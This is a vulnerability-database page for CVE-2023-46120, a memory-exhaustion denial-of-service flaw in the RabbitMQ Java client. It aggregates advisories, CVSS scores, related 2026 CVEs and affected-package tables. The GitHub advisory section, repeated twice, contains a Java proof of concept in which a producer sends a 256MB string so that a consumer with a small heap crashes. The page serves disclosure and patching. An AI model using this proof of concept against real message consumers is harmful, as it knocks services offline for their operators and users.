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CVE-2023-46120

RabbitMQ Java client's lack of message size limitation leads to remote DoS attack

4.9 MediumFix available

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
High
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.34%Up 1.3 points since Oct 25, 2023
90%50%10%1%

What each source reports

CVE List Score used 4.9

RabbitMQ Java client's lack of message size limitation leads to remote DoS attack

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

Record
CVE-2023-46120
CVSS 3.1
4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2023-2776 4.9

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

Record
EUVD-2023-2776
CVSS 3.1
4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-mm8h-8587-p46h 4.9

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

  • Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
  • Start RabbitMQ

Producer

  • Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

Consumer

  • First set the heap memory size to 128M
  • Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
    
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Results

  • Run the Producer first, then the Consumer
  • Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Record
GHSA-mm8h-8587-p46h
CVSS 3.1
4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
NVD 4.9

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

Record
CVE-2023-46120
CVSS 3.1
4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSV 4.9

RabbitMQ Java client's lack of message size limitation leads to remote DoS attack

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

Record
CVE-2023-46120
CVSS 3.1
4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVDEBIAN-CVE-2023-46120 7.5

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

Record
DEBIAN-CVE-2023-46120
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 4 moreShow less
OSVGHSA-mm8h-8587-p46h 4.9

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

  • Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
  • Start RabbitMQ

Producer

  • Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

Consumer

  • First set the heap memory size to 128M
  • Read the message sent by the Producer from the MQ and print the length
package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
    
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Results

  • Run the Producer first, then the Consumer
  • Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Record
GHSA-mm8h-8587-p46h
CVSS 3.1
4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVOESA-2026-4112 8.7

rabbitmq-java-client security update

The library allows Java code to interface to AMQP servers. Please see the specification page for more information on AMQP inter-operation and standards-conformance You will need an AMQP server, such as our very own RabbitMQ server, to use with the client library.

Security Fix(es):

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.(CVE-2023-46120)

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.33.0, the AMQP connection tuning path records the negotiated AMQP frame_max value, but src/main/java/com/rabbitmq/client/impl/SocketFrameHandler.java and NettyFrameHandlerFactory continue to validate broker-controlled frame payload lengths against maxInboundMessageBodySize because the negotiated limit is not applied consistently through setMaxInboundFramePayloadSize. A malicious or compromised broker can send a method frame larger than the negotiated frame_max during or after connection establishment, causing the client to allocate and decode a protocol-invalid frame instead of rejecting it with MalformedFrameException. The protocol violation can disrupt the affected connection and cause client-side denial of service. This issue is fixed in version 5.33.0.(CVE-2026-61634)

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.31.0, inbound AMQP command assembly in src/main/java/com/rabbitmq/client/impl/CommandAssembler.java processes a content-bearing method and header whose remainingBodyBytes value is smaller than a following AMQP.FRAME_BODY payload. CommandAssembler.consumeBodyFrame subtracts the peer-controlled payload length before validating that it fits, drives remainingBodyBytes negative, and throws a raw UnsupportedOperationException instead of MalformedFrameException. A malicious or compromised broker peer can send this malformed sequence on an open nonzero channel to terminate frame processing and close the client connection, causing denial of service for work using that connection. This issue is fixed in version 5.31.0.(CVE-2026-63335)

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.33.0, com.rabbitmq.client.ConnectionFactory.useSslProtocol() and ConnectionFactory.useSslProtocol(String) configure com.rabbitmq.client.TrustEverythingTrustManager and leave hostname verification disabled, causing arbitrary server certificates, including self-signed certificates, to be accepted. A network attacker able to intercept a TLS connection can impersonate the RabbitMQ broker, read protected AMQP traffic, and modify traffic without certificate or hostname validation. The fix changes the production TLS helpers to use the JVM default trust store and enables hostname verification, while retaining an explicitly named development-only no-verification helper. This issue is fixed in version 5.33.0.(CVE-2026-63336)

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. Prior to 5.33.1, src/main/java/com/rabbitmq/client/impl/ValueReader.java uses ValueReader.readBytes to accept a wire-declared contentLength below Integer.MAX_VALUE and allocate a byte array before checking the bytes available in the frame. A malicious AMQP peer can send a LongString or byte-array field with type tag S and a declared length such as 0x7FFFFFFE during the pre-authentication connection.start server-properties table, causing an approximately 2 GB allocation and…

Record
OESA-2026-4112
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVUBUNTU-CVE-2023-46120 4.9

The RabbitMQ Java client library allows Java and JVM-based applications to connect to and interact with RabbitMQ nodes. maxBodyLebgth was not used when receiving Message objects. Attackers could send a very large Message causing a memory overflow and triggering an OOM Error. Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer. This vulnerability was patched in version 5.18.0.

Record
UBUNTU-CVE-2023-46120
CVSS 3.1
4.9 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVopenSUSE-SU-2024:13750-1 No score

rabbitmq-java-client-5.20.0-2.1 on GA media

These are all security issues fixed in the rabbitmq-java-client-5.20.0-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:13750-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
com.rabbitmq:amqp-client
Maven
before 5.18.0
5.18.0
rabbitmq-java-client
Debian:12
All versions, plus listed versions
5.0.0-1.15.0.0-2
None known
rabbitmq-java-client
Debian:13
All versions, plus listed versions
5.0.0-1.15.0.0-2
None known
com.rabbitmq:amqp-client
Maven
before 5.18.0, plus listed versions
1.3.01.5.41.5.51.6.01.7.2
Show 45 moreShow less
1.8.01.8.12.0.02.1.02.1.12.2.02.3.02.3.12.4.12.5.02.5.12.6.02.6.12.7.02.7.12.8.02.8.12.8.22.8.32.8.42.8.52.8.62.8.73.0.03.0.13.0.23.0.33.0.43.1.03.1.13.1.23.1.33.1.43.2.03.2.13.2.23.2.33.2.43.3.03.3.13.3.23.3.33.3.43.3.53.4.0
5.18.0
rabbitmq-java-client
openEuler:24.03-LTS-SP3
From an advisory covering 6 CVEs
before 3.6.5-4.oe2403sp3
3.6.5-4.oe2403sp3
rabbitmq-java-client
openEuler:24.03-LTS-SP4
From an advisory covering 6 CVEs
before 3.6.5-4.oe2403sp4
3.6.5-4.oe2403sp4
rabbitmq-java-client
openEuler:20.03-LTS-SP4
From an advisory covering 6 CVEs
before 3.6.5-2.oe2003sp4
3.6.5-2.oe2003sp4
rabbitmq-java-client
openEuler:22.03-LTS-SP4
From an advisory covering 6 CVEs
before 3.6.5-4.oe2203sp4
3.6.5-4.oe2203sp4
rabbitmq-java-client
openEuler:24.03-LTS-SP1
From an advisory covering 6 CVEs
before 3.6.5-4.oe2403sp1
3.6.5-4.oe2403sp1
rabbitmq-java-client
Ubuntu:18.04:LTS
All versions, plus listed versions
5.0.0-1
None known
Show 6 moreShow less
Affected packages
PackageAffectedFixed
rabbitmq-java-client
Ubuntu:20.04:LTS
All versions, plus listed versions
5.0.0-1
None known
rabbitmq-java-client
Ubuntu:22.04:LTS
All versions, plus listed versions
5.0.0-1.1
None known
rabbitmq-java-client
Ubuntu:24.04:LTS
All versions, plus listed versions
5.0.0-1.1
None known
rabbitmq-java-client
Ubuntu:25.10
All versions, plus listed versions
5.0.0-1.1
None known
rabbitmq-java-client
Ubuntu:26.10
All versions, plus listed versions
5.0.0-2
None known
rabbitmq-java-client
Ubuntu:26.04:LTS
All versions, plus listed versions
5.0.0-1.15.0.0-2
None known

History

History
RecordedChangedSources
affected, facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-46120 is a medium vulnerability (CVSS 4.9) in Vmware Rabbitmq Java Client, published October 24, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.34%, the 71st percentile. Fixed in com.rabbitmq:amqp-client 5.18.0.

References

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Left out here: 84 versions and the rest of 1 source description. The JSON record has them.

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